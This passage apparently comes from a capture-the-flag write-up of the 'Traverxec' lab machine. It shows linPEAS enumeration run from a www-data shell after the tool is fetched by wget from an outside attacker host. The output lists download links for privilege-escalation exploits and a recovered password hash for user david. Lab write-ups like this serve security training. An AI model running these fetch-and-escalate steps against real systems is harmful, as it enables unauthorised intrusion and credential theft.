PEAS
www-data@traverxec:/dev/shm$ wget -q http://10.10.14.17/linpeas.sh ; chmod 755 /dev/shm/linpeas.sh
Delivery complete over HTTP
Executing PEAS
CVEs
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
write error: Broken pipe
write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2019-13272] PTRACE_TRACEME
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: highly probable
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
to be enabled.do configuration requires pwfeedback
Service
It appears that nostromo has a dedicated service;
nostromo.service
Membership
As identified previously, the
david
user has lots of memberships, including video
Last Logon
The
root
user has logged on to the system fairly recently
This may suggest the root cronjob process
hash
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
PEAS was able to pick up the hashstring of the david
user for the web application